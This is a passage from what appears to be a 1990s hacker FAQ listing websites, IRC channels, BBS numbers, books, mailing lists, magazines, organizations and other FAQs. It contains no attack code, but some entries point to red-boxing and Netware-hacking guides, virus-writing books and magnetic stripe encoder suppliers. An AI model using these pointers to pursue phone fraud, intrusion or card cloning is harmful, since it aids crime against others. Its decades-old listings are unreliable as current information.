www.sasknet.sk.ca/Pages/sktlhome.html (RSA Data Security) (SaskTel) www.satelnet.org/~ccappuc N www.sccsi.com/lsli/lsli.homepage.html (PORTUS) N www.sctc.com (Secure Computing Corporation) www.seas.upenn.edu/~rourkem (FakeMail FAQ) N www.seduction.com N www.sei.cmu.edu/SEI/programs/cert.html (CERT Coordination Center) N www.service.com/cm/uswest/usw1.html (USWest) N www.shore.net/~eskwired/hp.html N www.soci.niu.edu/~cudigest N www.somar.com (Somar Software) N www.soscorp.com (Sources of Supply Corp) www.spatz.com/pecos/index.html (The World of Hacking) www.spy.org (Computer Systems Consulting) N www.spy.org www.sri.com (spy.org) (SRI) N www.stentor.ca (Stentor (Canadian telcos) N www.tecc.co.uk/public/uk-telecom/btns.html (BT "star services") N www.telecoms-mag.com/tcs.html (Telecommunications Magazine) N www.telkom.co.za (Telkom S.A. Ltd) www.telstra.com.au/info/security.html (Security Reference Index) N www.teresa.com www.tezcat.com/web/security/security_top_level.html N www.tiac.net/users/triad/philes/jokai.html (Jokai Reservation for the Preservation of the 1st Amendment) N www.ticllc.net/~scrtnizr www.tis.com N www.trcone.com/t_crookb.html N www.tregistry.com/ttr (Trusted Information Systems) (CrookBook) (Telecomunications Training Courses) www.tri.sbc.com (Southwestern Bell) www.tricon.net/Comm/synapse (Synapse Magazine) www.tufts.edu/~jpagano/ N www.uccs.edu/~abusby/hpawebsites.html N www.uccs.edu/~abusby/k0p.html www.uci.agh.edu.pl/pub/security N www.uknet.net/pnc www.umcc.umich.edu/~doug/virus-faq.html N www.underground.org N www.underground.org/bugs/ (kn0wledge phreak) (Security) (The Personal Number Company) (Virus) (underground.org) www.usfca.edu/crackdown/crack.html (Hacker Crackdown) N www.vodafone.co.uk (Vodafone) N www.vptt.ch/natel.html (Natel) U www.wam.umd.edu/~ankh/public/devil_does_unix N www.warwick.ac.uk/WWW/search/Phones/nng.html (National Number Group Codes) N www.well.com/user/abacard N www.well.com/user/crunch (Captain Crunch) N www.wfu.edu/~wilsonbd www.wiltel.com (Wiltel) N www.wiltel.com/glossary/glossary.html (Telecommunications Glossary) N www.wired.com (HotWired) N www2.undernet.org:8080/~cs93jtl/IRC.html (IRC) In addition to browsing these fine pages, you can often find what you are looking for by using one of these automated search engines: www.yahoo.com www.lycos.com www.webcrawler.com 07. What are some IRC channels of interest to hackers? #2600 #cellular #hack #phreak #linux #realhack #root #unix #warez 08. What are some BBS's of interest to hackers? Rune Stone (203)832-8441 The Truth Sayer's Domain (210)493-9975 Hacker's Haven (303)343-4053 Independent Nation (413)573-1809 Ut0PiA (315)656-5135 underworld_1994.com (514)683-1894 Alliance Communications (612)251-8596 Maas-Neotek (617)855-2923 Apocalypse 2000 (708)676-9855 K0dE Ab0dE (713)579-2276 fARM R0Ad 666 (713)855-0261 kn0wledge Phreak <k0p> BBS (719)578-8288 N The Edge of Reality NUP=NO NUP (805)496-7460 Static Line (806)747-0802 Area 51 (908)526-4384 N The Drunk Forces NUP: Cyberdeck +972-3-5733477 09. What are some books of interest to hackers? General Computer Security ~~~~~~~~~~~~~~~~~~~~~~~~~ Computer Security Basics Author: Deborah Russell and G.T. Gengemi Sr. Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-71-4 This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert. Information Systems Security Author: Philip Fites and Martin Kratz Publisher: Van Nostrad Reinhold Copyright Date: 1993 ISBN: 0-442-00180-0 Computer Related Risks Author: Peter G. Neumann Publisher: Addison-Wesley Copyright Date: 1995 ISBN: 0-201-55805-X Computer Security Management Author: Karen Forcht Publisher: boyd & fraser publishing company Copyright Date: 1994 ISBN: 0-87835-881-1 The Stephen Cobb Complete Book of PC and LAN Security Author: Stephen Cobb Publisher: Windcrest Books Copyright Date: 1992 ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback) Security in Computing Author: Charles P. Pfleeger Publisher: Prentice Hall Copyright Date: 1989 ISBN: 0-13-798943-1. Building a Secure Computer System Author: Morrie Gasser Publisher: Van Nostrand Reinhold Co., New York. Copyright Date: ISBN: 0-442-23022-2 Modern Methods for Computer Security Author: Lance Hoffman Publisher: Prentice Hall Copyright Date: 1977 ISBN: Windows NT 3.5 Guidelines for Security, Audit and Control Author: Publisher: Microsoft Press Copyright Date: ISBN: 1-55615-814-9 Protection and Security on the Information Superhighway Author: Dr. Frederick B. Cohen) Publisher: John Wiley & Sons Copyright Date: 1995 ISBN: 0-471-11389-1 N Commonsense Computer Security Author: Martin Smith Publisher: McGraw-Hill Copyright Date: 1993 ISBN: 0-07-707805-5 N Combatting Computer Crime Author: Jerry Papke Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc. Copyright Date: 1992 ISBN: 0-8306-7664-3 N Computer Crime: a Crimefighters Handbook Author: David Icove, Karl Seger and William VonStorch Publisher: O'Reilly & Associates Copyright Date: 1995 ISBN: 1-56592-086-4 Unix System Security ~~~~~~~~~~~~~~~~~~~~ Practical Unix Security Author: Simson Garfinkel and Gene Spafford Publisher: O'Reilly & Associates, Inc. Copyright Date: 1991 ISBN: 0-937175-72-2 Firewalls and Internet Security Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley Copyright Date: 1994 ISBN: 0-201-63357-4 Unix System Security Author: Rik Farrow Publisher: Addison Wesley Copyright Date: 1991 ISBN: 0-201-57030-0 Unix Security: A Practical Tutorial Author: N. Derek Arnold Publisher: McGraw Hill Copyright Date: 1993 ISBN: 0-07-002560-6 Unix System Security: A Guide for Users and Systems Administrators Author: David A. Curry Publisher: Addison-Wesley Copyright Date: 1992 ISBN: 0-201-56327-4 Unix System Security Author: Patrick H. Wood and Stephen G. Kochan Publisher: Hayden Books Copyright Date: 1985 ISBN: 0-672-48494-3 Unix Security for the Organization Author: Richard Bryant Publisher: Sams Copyright Date: 1994 ISBN: 0-672-30571-2 N Building Internet Firewalls Author: D. Brent Chapman and Elizabeth D. Zwicky Publisher: O'Reilly and Associates, Inc. Copyright Date: 1995 ISBN: 1-56592-124-0 N Unix System Security Essentials Author: Christopher Braun Publisher: Addison Wesley Copyright Date: 1995 ISBN: 0-201-42775-3 N Internet Firewalls and Network Security Author: Karanjit S. Siyan and Chris Hare Publisher: New Riders Publishing Copyright Date: 1995 ISBN: 1-56205-437-6 Network Security ~~~~~~~~~~~~~~~~ Network Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang. Complete Lan Security and Control Author: Peter Davis Publisher: Windcrest / McGraw Hill Copyright Date: 1994 ISBN: 0-8306-4548-9 and 0-8306-4549-7 Network Security Author: Steven Shaffer and Alan Simon Publisher: AP Professional Copyright Date: 1994 ISBN: 0-12-638010-4 N Network Security: How to Plan For It and How to Achieve It Author: Richard M. Baker Publisher: McGraw-Hill, Inc. Copyright Date: ISBN: 0-07-005141-0 N Network Security Author: Steven L. Shaffer and Alan R. Simon Publisher: Academic Press Copyright Date: 1994 ISBN: 0-12-638010-4 N Network Security: Private Communications in a Public World Author: Charlie Kaufman, Radia Perlman and Mike Speciner Publisher: Prentice Hall Copyright Date: 1995 ISBN: 0-13-061466-1 N Network and Internetwork Security: Principles and Practice Author: William Stallings Publisher: Prentice Hall Copyright Date: 1995 ISBN: 0-02-415483-0 N Implementing Internet Security Author: William Stallings Publisher: New Rider Publishing Copyright Date: 1995 ISBN: 1-56205-471-6 N Actually Useful Internet Security Techniques Author: Larry J. Hughes, Jr. Publisher: New Riders Publishing Copyright Date: 1995 ISBN: 1-56205-508-9 Cryptology ~~~~~~~~~~~~ Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-59756-2 Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy. Cryptography and Data Security Author: Dorothy Denning Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982 ISBN: 0-201-10150-5 Protect Your Privacy: A Guide for PGP Users Author: William Stallings Publisher: Prentice-Hall Copyright Date: 1994 ISBN: 0-13-185596-4 Codebreakers Author: Kahn Publisher: Simon and Schuster Copyright Date: ISBN:0-02-560460-0 Codebreakers: The Inside Story of Bletchley Park Author: Francis Harry Hinsley and Alan Stripp Publisher: Oxford University Press, Copyright Date: 1993 ISBN:0-19-285304-X Cryptanalysis, a study of ciphers and their solution Author: Gaines, Helen Fouche Publisher: Dover Publications Copyright Date: 1956 ISBN: N Computer Privacy Handbook Author: Andre' Bacard Publisher: Peachpit Press Copyright Date: 1995 ISBN: 1-56609-171-3 N E-Mail Security with PGP and PEM Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1995 ISBN: 0-471-05318-X N PGP: Pretty Good Privacy Author: Simson Garfinkel Publisher: O'Reilly & Associates, Inc. Copyright Date: 1995 ISBN: 1-56592-098-8 Programmed Threats ~~~~~~~~~~~~~~~~~~ The Little Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1990 ISBN: 0-929408-02-0 N The Giant Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1995 ISBN: Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1993 ISBN: 0-929408-07-1 Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System Author: John McAfee and Colin Haynes Publisher: St. Martin's Press Copyright Date: 1989 ISBN: 0-312-03064-9 and 0-312-02889-X The Virus Creation Labs: A Journey Into the Underground Author: George Smith Publisher: American Eagle Publications Copyright Date: 1994 ISBN: 0-929408-09-8 U A Short Course on Computer Viruses Author: Dr. Fred Cohen Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-00769-2 N Robert Slade's Guide to Computer Viruses Author: Robert Slade Publisher: Springer-Verlag Copyright Date: 1994 ISBN: 0-387-94311-0 / 3-540-94311-0 Telephony ~~~~~~~~~ Engineering and Operations in the Bell System Author: R.F. Rey Publisher: Bell Telephont Laboratories Copyright Date: 1983 ISBN: 0-932764-04-5 Although hopelessly out of date, this book remains *THE* book on telephony. This book is 100% Bell, and is loved by phreaks the world over. Telephony: Today and Tomorrow Author: Dimitris N. Chorafas Publisher: Prentice-Hall Copyright Date: 1984 ISBN: 0-13-902700-9 The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan Publisher: Delmar Publishers, Inc. Copyright Date: 1992 ISBN: 0-8273-4615-8 I find this dictionary to be an excellent reference book on telephony, and I recommend it to anyone with serious intentions in the field. Tandy/Radio Shack Cellular Hardware Author: Judas Gerard and Damien Thorn Publisher: Phoenix Rising Communications Copyright Date: 1994 ISBN: The Phone Book Author: Carl Oppendahl Publisher: Consumer Reports Copyright Date: ISBN: 0-89043-364-x Listing of every cellular ID in the us, plus roaming ports, and info numbers for each carrier. Principles of Caller I.D. Author: Publisher: International MicroPower Corp. Copyright Date: ISBN: Hacking History and Culture ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling Publisher: Bantam Books Copyright Date: 1982 ISBN: 0-553-56370-X Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson Publisher: Salamander Press Copyright Date: ISBN: 0-668-06497-8 10. What are some videos of interest to hackers? 'Unauthorized Access' by Annaliza Savage $25 on VH S format in 38-min Savage Productions 1803 Mission St., #406 Santa Cruz, CA 95060 Hacker's '95 - a Phon-E & R.F. Burns Production See the video Emmanuel Goldstein thought would have the Feds knocking at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the Secret Service briefing on Operation Cyber Snare (recent cell busts) Talks on Crypto, HERF, the Feds, etc. All information is presented for educational purposes only. Not for sale to government or law enforcement organizations. Running time aproximately 90 minutes. $25.00 NTSC VHS $35.00 PAL/Secam VHS Custom Video Productions (908)842-6378 videocvp@ix.netcom.com 11. What are some mailing lists of interest to hackers? Academic Firewalls Registration Address: Send a message to majordomo@greatcircle.com containing the line "subscribe firewalls user@host" N The Alert Registration Address: Send a message to request-alert@iss.net containing the line "subscribe alert" Bugtraq Reflector Address: bugtraq@fc.net Registration Address: bugtraq-request@fc.net Cert Tools Reflector Address: cert-tools@cert.org Registration Address: cert-tools-request@cert.org Computers and Society Reflector Address: Comp-Soc@limbo.intuitive.com Registration Address: taylor@limbo.intuitive.com Coordinated Feasibility Effort to Unravel State Data Reflector Address: ldc-sw@cpsr.org Registration Address: CPSR Announcement List Reflector Address: cpsr-announce@cpsr.org Registration Address: CPSR - Intellectual Property Reflector Address: cpsr-int-prop@cpsr.org Registration Address: CPSR - Internet Library Reflector Address: cpsr-library@cpsr.org Registration Address: N Cypherpunks Registration Address: Send a message to majordomo@toad.com containing the line "subscribe cypherpunks" DefCon Announcement List Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc-announce" DefCon Chat List Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc-stuff" N Discount Long Distance Digest Registration Address: Send a message to: dld-request@webcom.com containing the line "subscribe" Electronic Payment Registration Address: e-payment@cc.bellcore.com IDS (Intruder Detection Systems) Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au containing the line "subscribe ids" N Information Warfare Registration Address: E-mail iw@all.net with a request to be added. N Linux-Alert Registration Address: majordomo@linux.nrao.edu N Linux-Security Registration Address: majordomo@linux.nrao.edu Macintosh Security Reflector Address: mac-security@eclectic.com Registration Address: mac-security-request@eclectic.com NeXT Managers Registration Address: next-managers-request@stolaf.edu PGP3 announcement list Registration Address: pgp-announce-request@lsd.com Subject: Your Name <user@host> Body: *ignored* Phiber-Scream Registration Address: Send a message to listserv@netcom.com containing the line "subscribe phiber-scream user@host" phruwt-l (Macintosh H/P) Registration Address: Send a message to filbert@netcom.com with the subject "phruwt-l" rfc931-users Reflector Address: rfc931-users@kramden.acf.nyu.edu Registration Address: brnstnd@nyu.edu RSA Users Reflector Address: rsaref-users@rsa.com Registration Address: rsaref-users-request@rsa.com WWW Security Registration Address: www-security@ns2.rutgers.edu 12. What are some print magazines of interest to hackers? 2600 - The Hacker Quarterly ~~~~~~~~~~~~~~~~~~~~~~~~~~~ E-mail addresses: info@2600.com - to get info on 2600 index@2600.com - to get a copy of our index meetings@2600.com - for info on starting your own meeting subs@2600.com -- for subscription problems letters@2600.com -- to send us a letter articles@2600.com -- to send us an article 2600@2600.com -- to send us a general message Subscription Address: 2600 Subscription Dept PO Box 752 Middle Island, NY 11953-0752 Letters and article submission address: 2600 Editorial Dept PO Box 99 Middle Island, NY 11953-0099 Phone Number: (516)751-2600 Fax Number: (516)474-2677 Voice BBS: (516)473-2626 Subscriptions: United States: $21/yr individual, $50 corporate. Overseas: $30/yr individual, $65 corporate. Gray Areas ~~~~~~~~~~ Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/or controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior. E-Mail Address: grayarea@well.sf.ca.us E-Mail Address: grayarea@netaxs.com U.S. Mail Address: Gray Areas PO Box 808 Broomall, PA 19008 Subscriptions: $26.00 4 issues first class $34.00 4 issues foreign (shipped air mail) Privacy Newsletter ~~~~~~~~~~~~~~~~~~ Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy and keep it. E-Mail Address: privacy@interramp.com Subscription Address: Privacy Newsletter P.O. Box 8206 Philadelphia, PA 19101-8206 Subscriptions: $99/yr (US) $149/yr (Overseas) Wired ~~~~~ Subscription Address: subscriptions@wired.com or: Wired PO Box 191826 San Francisco, CA 94119-9866 Letters and article submission address: guidelines@wired.com or: Wired 544 Second Street San Francisco, CA 94107-1427 Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas) Nuts & Volts ~~~~~~~~~~~~ T& L Publications 430 Princeland Court Corona, CA 91719 (800)783-4624 (Voice) (Subscription Only Order Line) (909)371-8497 (Voice) (909)371-3052 (Fax) CIS: 74262,3664 Cybertek: The Cyberpunk Technical Journal ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ P.O. Box 64 Brewster, NY 10509 Frequency: Bimonthly Domestic Subscription Rate: $15/year (6 issues) PrivateLine ~~~~~~~~~~~ 5150 Fair Oaks Blvd. #101-348 Carmichael, CA 95608 USA E-Mail: privateline@delphi.com Subscriptions: $24 a year for six issues Text of back issues are at the etext archive at Michigan. Gopher over or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine 13. What are some e-zines of interest to hackers? CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo Empire Times ftp.etext.org /pub/Zines/Emptimes FEH ftp.fc.net The Infinity Concept infonexus.com /pub/defcon/FEH /pub/Philes/Zines/TheInfinityConcept Phrack ftp.fc.net /pub/phrack 14. What are some organizations of interest to hackers? Computer Professionals for Social Responsibility (CPSR) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policy makers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society. By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy. Every project we undertake is based on five principles: * We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society. * We work to dispel popular myths about the infallibility of technological systems. * We challenge the assumption that technology alone can solve political and social problems. * We critically examine social and technical issues within the computer profession, nationally and internationally. * We encourage the use of computer technology to improve the quality of life. CPSR Membership Categories 75 REGULAR MEMBER 50 Basic member 200 Supporting member 500 Sponsoring member 1000 Lifetime member 20 Student/low income member 50 Foreign subscriber 50 Library/institutional subscriber CPSR National Office P.O. Box 717 Palo Alto, CA 94301 415-322-3778 415-322-3798 (FAX) E-mail: cpsr@csli.stanford.edu Electronic Frontier Foundation (EFF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born. Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations. The Electronic Frontier Foundation, Inc. 1001 G Street, NW Suite 950 East Washington, D.C. 20001 (202)544 9237 (202)547 5481 FAX Internet: eff@eff.org Free Software Foundation (FSF) and GNU ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed. The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to change a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License). Free Software Foundation, Inc. Telephone: +1-617-876-3296 673 Massachusetts Avenue Fax: +1-617-492-9057 Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD) Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC) GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system, which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd. A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more. The League for Programming Freedom (LPF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston. "Look and feel" lawsuits aim to create a new class of governmentenforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation. We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices. Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome. To contact the League, phone (617) 243-4091, send Internet mail to the address league@prep.ai.mit.edu, or write to: League for Programming Freedom 1 Kendall Square #143 P.O. Box 9171 Cambridge, MA 02139 USA SotMesc ~~~~~~~ Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy. SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter. The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media. SotMesc memberships are $20 to students and $40 to regular members. SotMESC P.O. Box 573 Long Beach, MS 39560 Computer Emergency Response Team (CERT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems. CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security-related documents, past CERT advisories, and tools are archived. CERT contact information: U.S. mail address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 U.S.A. Internet E-mail address cert@cert.org Telephone number (412)268-7090 (24-hour hotline) CERT Coordination Center personnel answer 7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. FAX number (412)268-6989 15. What are some radio programs of interest to hackers? Off The Hook New York Full Disclosure Live Short Wave 99.5 FM Tue 8pm EST WWCR 5065 khz Sun 8pm EST Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST 16. What are other FAQ's of interest to hackers? Frequently Asked Questions "Hacking Novell Netware" Author: Simple Nomad <sn@spyder.org> ftp: jumper.mcc.ac.uk /pub/security/netware/faq.zip ftp: ftp.fastlane.net /pub/nomad/nw/faq.zip ftp: ftp.best.com /pub/almcepud/hacks/faq.zip http://resudox.net/bio/mainpage.html http://www.hookup.net/~apayne/nwhack.html The PGP Attack FAQ Author: Route [daemon9@netcom.com / route@infonexus.com] ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz Mac Hack FAQ: Defeating Security Author: AX1P (an149689@anon.penet.fi) Frequently Asked Questions About Red Boxing Author: Mr. Sandman (an132432@anon.penet.fi) VMS FAQ (Frequently Ask Questions) Author: The Beaver (beaver@upperdck.blkbox.com) Anonymous FTP FAQ Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc. ftp: ftp.iss.net /pub/faq/anonftp Compromise FAQ: What if your Machines are Compromised by an Intruder Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc. ftp: ftp.iss.net Security Patches FAQ /pub/faq/compromise Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc. ftp: ftp.iss.net /pub/faq/patch Sniffer FAQ Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc. ftp: ftp.iss.net /pub/faq/sniff Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc. ftp: ftp.iss.net /pub/faq/vendor Cryptography FAQ Author: The Crypt Cabal ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/ Firewalls FAQ Author: Marcus J. Ranum (mjr@ss1.lightspeed.net) ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/ Buying a Used Scanner Radio Author: parnass@att.com (Bob Parnass, AJ9S) ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/ How to Find Scanner Frequencies Author: parnass@att.com (Bob Parnass, AJ9S) ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/ Introduction to Scanning Author: parnass@att.com (Bob Parnass, AJ9S) ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/ Low Power Broadcasting FAQ Author: Rick Harrison. ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/ RSA Cryptography Today FAQ Author: Paul Fahn ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/ VIRUS-L comp.virus Frequently Asked Questions (FAQ) Author: Kenneth R. van Wyk <krvw@cert.org> ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/ Where to get the latest PGP (Pretty Good Privacy) FAQ Author: mpj@csn.net (Michael Johnson) ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/ alt.locksmithing answers to Frequently Asked Questions (FAQ) Author: spike@indra.com (Joe Ilacqua) ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/ comp.os.netware.security FAQ Author: Fauzan Mirza <F.U.Mirza@sheffield.ac.uk> ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/ rec.pyrotechnics FAQ Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller) ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/ 17. Where can I purchase a magnetic stripe encoder/decoder? CPU Advance PO Box 2434 Harwood Station Littleton, MA 01460 (508)624-4819 (Fax) Omron Electronics, Inc. One East Commerce Drive Schaumburg, IL 60173 (800)556-6766 (Voice) (708)843-7787 (Fax) Security Photo Corporation 1051 Commonwealth Avenue Boston, MA 02215 (800)533-1162 (Voice) (617)783-3200 (Voice) (617)783-1966 (Voice) Timeline Inc, 23605 Telo Avenue Torrence, CA 90505 (800)872-8878 (Voice) (800)223-9977 (Voice) Alltronics 2300 Zanker Road San Jose CA 95131 (408) 943-9774 Voice (408) 943-9776 Fax (408) 943-0622 BBS Part Number: 92U067 Atalla Corp San Jose, CA (408) 435-8850 18. What are the rainbow books and how can I get them? Orange Book DoD 5200.28-STD Department of Defense Trusted Computer System Evaluation Criteria Green Book CSC-STD-002-85 Department of Defense Password Management Guideline Yellow Book CSC-STD-003-85 Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments Yellow Book CSC-STD-004-85 Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments. Tan Book NCSC-TG-001 A Guide to Understanding Audit in Trusted Systems Bright Blue Book NCSC-TG-002 Trusted Product Evaluation - A Guide for Vendors Neon Orange Book NCSC-TG-003 A Guide to Understanding Discretionary Access Control in Trusted Systems Teal Green Book NCSC-TG-004 Glossary of Computer Security Terms Red Book NCSC-TG-005 Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria Orange Book NCSC-TG-006 A Guide to Understanding Configuration Management in Trusted Systems Burgundy Book NCSC-TG-007 A 